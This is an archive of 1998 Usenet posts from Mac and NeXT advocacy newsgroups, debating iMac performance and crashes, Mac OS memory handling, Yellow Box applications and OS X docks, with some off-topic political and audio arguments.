Department of EE and Computer Science, The University of Michigan
From: massello@flash.net (Neill Massello)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green LEDs
Date: Sun, 23 Aug 1998 00:38:45 -0600
Organization: Eidola Enterprises
Message-ID: <massello-2308980038450001@p15.amax1.dialup.elp1.flash.net>
References: <35d525ad.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <6riq8l$2gf$1@nnrp1.dejanews.com> <6rmitv$q7t$1@jetsam.uits.indiana.edu>
In article <6rmitv$q7t$1@jetsam.uits.indiana.edu>,
glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
> Hey, I just discovered that programs on CD run much faster if you color
> the rim with a green marker!
I have discovered that my TV has a brighter picture if I plug up all those
slots on the top, back, and sides that allow light to escape. At first, I
used duct tape for this, but now I use Bondo when I get a new TV (every
few months).
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Sat, 22 Aug 1998 23:35:58 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2208982335580001@sdn-ar-001casbarp216.dialsprint.net>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net> <6rkgjd$55s$1@msunews.cl.msu.edu> <6rkmf4$hnl$1@plo.sierra.com> <ericb-2208982100000001@r4149.resnet.cornell.edu>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <ericb-2208982100000001@r4149.resnet.cornell.edu>,
ericb@pobox.com (Eric Bennett) wrote:
>
> It's not a lie that Jobs thinks that.
It isnt? How do you know its not a lie? Of course, you could say the
exact same thing to the original poster. If steve jobs doesnt think that,
its a lie. If he does think it, it isnt a lie. None of us know what he
REALLY thinks
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: quinlan@intergate.bc.ca
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sun, 23 Aug 1998 06:26:55 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rocnf$cfc$1@nnrp1.dejanews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <35D9EE6C.7032@ieighty.net> <6rnl56$5vt$1@news00.btx.dtag.de>
In article <6rnl56$5vt$1@news00.btx.dtag.de>,
Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=) wrote:
> MacOS does not lack dynamic memory (temporary mem) and multithreading,
> and offers some memory protection when VM is on.
By "dynamic memory", the poster probably meant that the memory assigned to a
particular application can change while it is running. The Mac OS does allow
you to allocate temporary memory in the system heap but you need to use
different calls for these routines. A lot of applications avoid this because
it makes for a counter-intuitive user experience i.e. an operation can fail
when you increase the application's memory partition. CodeWarrior has this
problem.
I'm not sure what you mean by memory protection, in this context. AFAIK, all
Mac OS VM prevents you from doing is accessing unallocated addresses. You can
still overwrite any allocated memory even if it doesn't belong to you.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: rpvb3@mindspring.com (Bob Van Burkleo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Sat, 22 Aug 1998 23:51:16 -0700
Organization: http://rpvb3.home.mindspring.com
Message-ID: <rpvb3-2208982351160001@192.168.0.1>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net> <6rkgjd$55s$1@msunews.cl.msu.edu> <6rkmf4$hnl$1@plo.sierra.com> <rbarris-ya023280002108981506420001@206.82.216.1> <6rl6rm$4pr$1@hecate.umd.edu> <philipm-2208981731140001@pm1-06.eecs.umich.edu>
"Z@OpO83_E:*UFKJH'Q2x\(d&3QW}g_+m3JjURD.ZzTKEA=J`N]{#o|"Jlk+$56.6`Cl
HW
In article <philipm-2208981731140001@pm1-06.eecs.umich.edu>,
philipm@eecs.umich.edu (Philip Machanick) wrote:
>
>I've seen a G3 running way faster than a P-II on other software. The
>article ends up with "The Macintosh tests were run in the default graphics
>mode. Enabling graphics acceleration mode would make full use of
>high-performance adapters such as the ATI Rage II+, at the expense of
>repeatable image precision." Not sure what that means.
yes, the article is oddly worded. This statement makes it sound like they
didn't use the ATI acceleration, and earlier in the article they compare
the PC's and Mac's hardware acceleration as if it were a possible factor.
Considering the slowdowns were primarily due to graphic display, if they
were gathered with the ATI accelaration disabled it would seem to be a
biased evaluation. Plus they must have been early model G3's to have Rage
II chips on them - only the much faster Rage Pro has been on the
motherboards for months. (and my guess is that once their back stock of
Rage II chips is exhausted, the same Rage Pro chip substitution will start
appearing on the iMacs)
--
Bob Van Burkleo rpvb3@mindspring.com http://rpvb3.home.mindspring.com
"there is no failure except in no longer trying."
- Elbert Hubbard
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: docks in OSX
Date: 23 Aug 1998 13:23:09 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6rp53t$mok$1@sun27.hrz.tu-darmstadt.de>
References: <alex-1908981239120001@castle.webis.net> <1998082002171700.WAA05274@ladder03.news.aol.com> <alex-2008980843070001@castle.webis.net> <6rhqbi$qjq$1@nnrp1.dejanews.com> <35DCBA37.4571F8FA@EMIEng.com>
Eric Marshall <eric@EMIEng.com> wrote:
> An initial port of Fiend to DR2 has already been released (I use it
now). I
>used to love
>Fiend until LaunchBar was released on NEXTSTEP. Now *that's* an app I'd like
>to see ported
>to Mac OS X Server!
I have it from the horse's mouth that the next version is supposed to be
Openstepified (and ported to Rhap^H^H^H MacOS X Server).
Yes, it's highly useful.
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: docks in OSX
Date: Sun, 23 Aug 1998 07:13:30 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Ey4s2I.Fnv@micmac.com>
References: <alex-1908981239120001@castle.webis.net> <1998082002171700.WAA05274@ladder03.news.aol.com>
<alex-2008980843070001@castle.webis.net> <6rhqbi$qjq$1@nnrp1.dejanews.com>
<6riqlj$14n$1@news.digifix.com>
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Cc: sanguish@digifix.com
This was written in comp.sys.next.advocacy (<6riqlj$14n$1@news.digifix.com>)
by Scott Anguish:
> Fiend is already running on Rhapsody DR2. It works pretty
> good, still has a few missing features, but I no longer miss the Dock
> on Mac OS X Server as a result of it being available.
>
And for the ones missing shelves? =;( =;( =;( =;( =;( =;( =;( =;(
?????
mc
Message-ID: <35E02675.2083D9CC@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com> <atlauren-2108981908570001@jungleland.acs.uci.edu>
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Date: Sun, 23 Aug 1998 10:25:57 -0400
NNTP-Posting-Date: Sun, 23 Aug 1998 14:20:00 GMT
Organization: MCI2000
Andrew Laurence wrote:
>
> When buying Macs, the process is *much* simpler, takes less time, and I
> don't have to deal with the nonsense of unknown vendor reliability, yadda
> yadda yadda. Thus, it's the process of a single vendor makes the buying
> process *much* more productive, as it's completed in a fraction of the
> time.
Well, I could buy from Micron, Dell or Compaq if I choose. What's the
difference? In those cases, including Apple, you are still letting a
vendor do your choosing for you.
The difference, of course, is that if I discover that Apple was wrong in
its choice of components in my iMac, there is absolutely nothing I can
do about it. I'm *stuck.* If I found, however, that Micron erred in,
say, its choice of video card, I can simply remove the card and replace
it from a choice of the many available to me.
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Mon, 24 Aug 1998 00:21:12 +1000
Organization: OzEmail Ltd.
Message-ID: <6rp8j4$het$1@reader1.reader.news.ozemail.net>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ril6a$sf4$1@nnrp1.dejanews.com> <1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net> <Ey1n3C.M7M@T-FCN.Net> <1de3z9s.1mg2ltk1osulo9N@roxboro0-018.dyn.interpath.net> <Ey212p.6qG@T-FCN.Net> <1de4det.3d9y5zmr82bmN@roxboro0-018.dyn.interpath.net>
John Moreno wrote:
>where is the announcement from apple that FileMaker has been either
>carbonized or yb'd? It looks like it's a bluebox app, and that's it. This isn't
>encouraging others to adopt "how easy can it be, apple hasn't done it?"
>(referring to both carbon and yellow box).
It'd be nice to see a YB ClarisWorks and/or Filemaker - running on
MacOS X Server & Windows!
If Apple throws out their Win32 code that'll be making a statement.
>Both developers and users are taking a wait and see attitude towards all
>of this because of past behavior, apple needs to counter this with
>aggressive adoption of the new technology (FileMaker, ClarisWorks,
>Emailer and any other app they have that they think wouldn't loose too
>much money), and aggressive marketing of it (start selling preorders of
>MacOSX for both the PPC and Intel). "This time we're coming out with a
>new OS and we mean it".
Agreed totally.
Apple said they'll be announcing their new YB & java strategies in
September didn't they?
I hope that's why we don't know anything....
Greg
From: degackz@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac, another personal review
Date: Mon, 24 Aug 1998 13:30:07 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rrpsv$mo8$1@nnrp1.dejanews.com>
References: <6rpjgq$d2f$1@nnrp1.dejanews.com> <HD4E1.1173$_c3.5254049@news.rdc1.nj.home.com> <rA5E1.991$MS.1432365@news.rdc1.sdca.home.com>
I wasn't trolling (much) and the crashes are real. Browse through
http://support.info.apple.com/te/te.taf?te=discussion&ID=iMac&Title=iMac&Foru
m=i mac for lots of depressing messages (its a support site). Unfortunately,
either the apple "helpers" don't id themselves or they refuse to answer
questions (maybe they're all running for the exits...). One helpful person
posted a procedure to disable some extensions to relieve the crashing and so
far it has worked (one whole day)!
I don't see how Apple will make this up to the early purchasers and given S
Jobs track record at NeXT for taking care of the early NeXT developers I
imagine all we'll be getting is "the finger". (whoops, looks like I'm
trolling again).
In article <rA5E1.991$MS.1432365@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> In <HD4E1.1173$_c3.5254049@news.rdc1.nj.home.com> "Chris Van Buskirk" wrote:
> >
> > >
> > >Putting 8.5 and MacOSX on it will be at the top of my priority list.
> > >Does BeOS run on the iMac?
> >
> > No. Apple has not released the G3 spec. 8.5 will be a vast improvement.
> > You will probably see those 3 crashes turn to one, and its faster.
> > Actually,
> > 8.5 is quite a good OS, but missing you-know-what.
> >
> > MacOSX...can't wait!
> >
> >
>
> How does a company R&D a new product like iMac with it's major feature users
> report most often, is the amount of times it crashes? I couldn't believe the
> guy's post. I thought it a troll until your post confirmed that the feature
> is both real AND persistent. What a piece of shit to pay good money for15
> years of Macintosh experience that won't run.
>
> Phssst....dud...
>
> -r
>
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: 24 Aug 1998 14:23:48 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6rrt1k$18$1@news.spacelab.net>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <Pine <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu>
seanl@cs.umd.edu (Sean Luke) wrote:
[ ... ]
> All $10,000 speakers _really_ do is distort the high and low end
> frequency levels to make the sound sound more "exciting".
Speaker design is both an art and a science. There are so many tradeoffs
between costs, materials, design, cross-over points, and what have you that
there are legitimate reasons why even very expensive speakers do not sound
alike.
As for the claim that all $10K speakers deliberately distort the high and low
end, I'd like to see references for some well-known test, like the MLSSA, on
such speakers. How flat are the on- and off-axis response curves for the
Thiel CS 7's, or the Legacy Whispers, or their peers?
Where is your data?
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 24 Aug 1998 09:44:37 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E17C55.B9335EDE@ericsson.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <6rkhub$705$1@nnrp1.dejanews.com> <joe.ragosta-2108981911390001@elk120.dol.net> <6rlvbo$ro7$1@nnrp1.dejanews.com> <gmgraves-2208981135150001@sf-usr1-32-160.dialup.slip.net> <a_fraser-2208981532580001@port-37-31.access.one.net>
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Alan Fraser wrote:
> Windows operating systems are like Celine Dion songs - They all sound
> pretty much the same but lemmings buy them anyway...
CSMA FAQ Question #56:
Q. What's the most appropriate analogy to use when Trolls play the PC
popularity card?
A. You can use just about anything that demonstrates how stupid the
general populace is. Pick some pop culture phenomenon, like a music
group or an automobile or a television program or a fast-food chain,
then point out that the phenomenon is popular and that 99% of the human
race is brain-damaged. Claim that this is no accident.
Alternatively, you can pick something popular but uncommon, like an
expensive automobile or food, and claim that only intelligent people can
appreciate such finery. The obvious point of all of this is to prove
beyond a shadow of a doubt that -- contrary to popular opinion (how
appropriate) -- popularity is inversely proportional to quality. In
other words, you're trying to demonstrate that as an item's quality
increases, its popularity *decreases*. You already know this to be true
for the Macintosh; you're trying to prove it to your opponent on his own
turf.
Some hints for choosing the item: you're among geeks, feel free to bash
on stuff geeks don't like. If you can work in a subtle slam of something
feminine or pedestrian, you've got a good chance of catching your
opponent off guard. Practice this tactic in front of the mirror, using
the Spice Girls as a target (even beginners can do this).
[...]
MJP
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Message-ID: <1998082318231500.OAA03814@ladder01.news.aol.com>
Date: 23 Aug 1998 18:23:15 GMT
Organization: AOL http://www.aol.com
References: <6rp8j4$het$1@reader1.reader.news.ozemail.net>
Greg Alexander said:
>It'd be nice to see a YB ClarisWorks and/or Filemaker - running on
>MacOS X Server & Windows!
>If Apple throws out their Win32 code that'll be making a statement.
Does anyone else remember Sun's mention of an attempt by Claris to purchase the
code and rights to the Lighthouse suite?
It was mentioned in one of their on-line magazines a while back.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How to get NextStep/Rhapsody for Intel?
Message-ID: <1998082318243700.OAA03993@ladder01.news.aol.com>
Date: 23 Aug 1998 18:24:37 GMT
Organization: AOL http://www.aol.com
References: <6rplpv$vo@bgtnsc01.worldnet.att.net>
www.blackholeinc.com
You'll have to purchase it. Hope you have an academic ID.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Mon, 24 Aug 1998 10:02:48 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E18098.3AA3A39A@ericsson.com>
References: <35D9D123.C98BF639@ericsson.com> <6rdmof$drt@news1.panix.com> <35DAE429.F37495C2@ericsson.com> <6rg8u4$4qh@news1.panix.com> <35DC4464.D57E0278@ericsson.com> <6rnp5q$hlc@news1.panix.com>
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Sal Denaro wrote:
[cut]
> What about other cases where one persons Liberty infringes on another's
> Liberty? Should we "duke it out" whenever there is a disagreement? How is
> replacing the "rule of law" with the "rule of the wealthy and heavily
> armed" progress? It sounds like a step back into the days of feudalism
> to me.
Ask a question, then answer it yourself?
If you want real answers, you have to look for them. None of them come
easily; most people make the mistake of believing that reality can be
distilled into a trivial worldview, based on a wide set of assumptions
and minimal data.
Ronald Coase's work may be a good place to begin looking for acceptable
answers. You can find much of it on the Web.
> Libertarian politics derive from classic liberalism, the belief that
> government should exist in only those places where one persons freedom
> intersects with another persons freedoms.
We also believe that traffic lights should only be put up where one road
intersects another. I have to admit we're a crazy bunch of people.
> The Libertarian party has devolved
> that belief to simple anarchistic beliefs. In every historical example I
> have seen, anarchy has become totalitarianism. I trust the rule of law,
> as decided by the masses
"...Rule of law as decided by the masses..." is a purely nonsensical
term.
> over the rule of the "free market" and those who
> can manipulate it.
I manipulate the free market every time I choose to buy something. It's
my free market and it's my interaction. I make the choice.
Congress manipulates the free market in ways far more profound every
time it signs new agriculture subidies into law. I had nothing to do
with that choice, nor can I do anything to stop it: Congress's dictates
are executed with authority; my actions have no authority.
[cut]
> Libertarians would remove many of these checks and balances and allow the
> possibility that someone will be able to accumulate the wealth and power
> needed to take away the liberties of others.
[laugh] So the solution is to set up a government with the wealth and
power needed to take away the liberties of others? Charming idea.
> I find this the antithesis of the
> beliefs that the founding fathers had in mind when the constitution was
> drafted.
You say this, but you don't mention any beliefs in particular. Odd,
considering I have quite the opposite view. One would think that a
statement like this needs some explanation.
> That is why I dislike much, (but certainly not all) of what Libertarian
> Party stands for. I would vote for a Libertarian candidate, provided that
> he/she was a moderate, and understood the value of the rule of law.
Huh? The concept of "Rule of Law" is the cornerstone of Libertarian
(classical liberal) politics! Did the past 500 years of European
politics *completely* pass you by?
> I think *you* don't understand the politics of the Libertarian Party.
> I understand enought to see the flaws in its policies.
This isn't very funny. You really need to revisit some of your
hastily-built assumptions, it would seem. Don't embarass yourself any
more; you really need to go pick up some literature.
> But I don't expect you to see the point. If you wish to believe that anyone
> who disagrees with your politics is uninformed, the you have every right to
> believe that. So much for being open minded and objective.
It doesn't matter which side of this you're on, does it? You manage to
play the wounded soldier no matter what. Poor, hurt Sal Denaro. Maybe it
would be appropriate to start hurling curses and names, no?
> Whenever any one person or group claims the have "easy answers" to the hard
> problems of the world, I tend to proceed with caution. Maybe life is that
> black and white to you... Enjoy your kool-aide.
Oh, the irony...
MJP
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 24 Aug 1998 02:28:41 GMT
Organization: Idiom Communications
Message-ID: <6rqj4p$5sm$2@news.idiom.com>
References: <6rp8j4$het$1@reader1.reader.news.ozemail.net> <1998082318231500.OAA03814@ladder01.news.aol.com>
<6rq4r9$rlb$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: agave@my-dejanews.com
agave@my-dejanews.com may or may not have said:
-> In article <1998082318231500.OAA03814@ladder01.news.aol.com>,
-> willadams@aol.com (WillAdams) wrote:
-> > Greg Alexander said:
-> > >It'd be nice to see a YB ClarisWorks and/or Filemaker - running on
-> > >MacOS X Server & Windows!
-> > >If Apple throws out their Win32 code that'll be making a statement.
-> >
-> > Does anyone else remember Sun's mention of an attempt by Claris to
-> > purchase the code and rights to the Lighthouse suite?
-> >
->
-> There was an article on Sun's website a while back titled something like
-> "What happened to Lighthouse?" and in it they mentioned they were keeping
the
-> Lighthouse Apps inhouse under lock and key (ie they weren't interested in
-> selling them). I don't expect to see new/ported versions of any of the
-> Lighthouse apps using YellowBox from anyone. That's ok though because
there
-> are new versions of popular business applications coming from other
-> developers: AFS, P&L systems, Caffeine Software, Stone Design, and others.
I just want to see someone bring out a replacement for Concurrence. MS
Powerpoint makes me want to puke.
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Message-ID: <jpolaski-2308982139050001@d153-160.ce.mediaone.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <kindall-0608981833260001@nic-c41-094.mw.mediaone.net> <B1EF8E4C-21EAA@206.165.43.105> <19980807090337288881@pm2-1-27.aug.com> <01bdc4d6$87897560$74b4dccf@samsara> <joe.ragosta-1008982120540001@elk41.dol.net> <01bdc4f2$6efb88f0$a6b4dccf@samsara> <slrn6u1bsg.s1p.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Organization: Polaski P/D/C, 15 West Hubbard, Chicago,IL 60610
Date: Sun, 23 Aug 1998 21:39:05 -0600
NNTP-Posting-Date: Sun, 23 Aug 1998 21:39:38 CDT
In article <slrn6u1bsg.s1p.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> On 11 Aug 1998 01:36:47 GMT, Jonathan Hendry <jon@steeldriving.com> wrote:
> :
> :
> :Joe Ragosta <joe.ragosta@dol.net> wrote in article
> :<joe.ragosta-1008982120540001@elk41.dol.net>...
> :> In article <01bdc4d6$87897560$74b4dccf@samsara>, "Jonathan Hendry"
> :> <jon@steeldriving.com> wrote:
> :
> :> > The money was not important. MSOffice for Mac is *priceless* for Apple,
> :> > and worth infinitely more than the $1 billion Amelio wanted.
> :>
> :> Of course, we're going to see soon how much it did mean.
>
> :I do hope Apple went over the contract's language with a bastard detector.
> :(Or, better yet, that Jobs was able to out-bastard Microsoft.)
>
> Given the point above, it doesn't matter that much what's in the contract.
> MS Office is priceless for Apple. And if Microsoft welches on the deal?
>
> So what. Apple might be able to sue, and, years later, maybe get some money.
>
> As you've pointed out, the money doesn't matter.
>
> Unless Microsoft is broken up and the application division left to
> make profit or loss on its own, Apple had better start preparing for a
> future without Office.
=====
Well, if there is a *contractual* obligation by M$ to produce Office for
the Mac, the the posibility is that if they drop office for the Mac, M$
would only have another lawsuit.
OTOH, don't think the Mac marked doesn't represent significant numbers for
M$. They would feel the demise, in more ways than one, if Apple were to
fail. It would probably be the final nail in the DOJ action for one, not
to mention revenue..
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ey7AxH.JG7@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: quinlan@intergate.bc.ca
Organization: none
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Mon, 24 Aug 1998 15:56:04 GMT
In <6rm0p9$tai$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> > Since currently, menu-selection freezes foreground tasks in Rhapsody (or
> > did, last I heard), menu-handling wouldn't need to change at all, only
> > windows-handling.
>
> That is a definate change for the worse from OpenStep.
I tested this because I thought it would be odd. It is odd. CD player's
clock continues to update for instance, but OmniWeb stops filling the window.
I think there may be more to this.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: writing games for yellow box?
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ey7C0F.K1u@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: buck.erik@mcleod.net
Organization: none
References: <mvdk-2008981748580001@192.0.1.3> <Ey01q1.6Ax@T-FCN.Net>
<ch-2008981911010001@1cust124.tnt2.redmond.wa.da.uu.net> <6rn74v$7ne3@odie.mcleod.net>
Mime-Version: 1.0
Date: Mon, 24 Aug 1998 16:19:26 GMT
In <6rn74v$7ne3@odie.mcleod.net> "Michelle L. Buck" wrote:
> - Apple tools and API such as game sprockets can not be used effectively
> with YellowBox
I'm not sure this is specifically an issue, although driver support could
be. The standard handling mechanisms under YB seem more powerful and easier
to use.
> - Current licensing makes commercial game distribution practically
> impossible
> - Licensing issues will not be resolved until ~late 1999 if then
A problem for now, certainly, but the aim certainly appears to be a good
one.
> Incidentally, the NSImage operations in YellowBox are at least as fast as
> the Windows GDI image operations and NSImage is very much more powerful.
> Direct Draw on Windows using hardware Blts benchmarks between 2 and 9 times
> faster than NSImage on the range of hardware with which we test.
Sounds about right.
> - All of the major world wide distributors are reluctant to distribute
> products that have run time components out of their control. This means
> YellowBox.
Hmmm, I'm not sure I understand this. Companies ship products using QT and
DD for instance.
> - YellowBox programmers are hard to find and expensive.
As opposed to normal game authors?!? :-)
> - Any technology sponsored by Apple is dismissed as "bad" or "inferior" or
> not "Windows" by most distributors and most Windows consumers.
Yup.
> We were very successful and very productive building what turned out to be
> demo/prototype versions of our games using Openstep technology. This
> enabled us to quickly produce something to show to publishers,
distributors,
> and the public. Using Openstep, you can go through all of the change
cycles
> needed to make the game fun and ideally build just the right game once with
> the inferior Windows APIs. It is also much more productive to build tools
> such as level editors, image manipulators, and test suits with Openstep.
Yup.
Maury
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <Ey7AxH.JG7@T-FCN.Net>
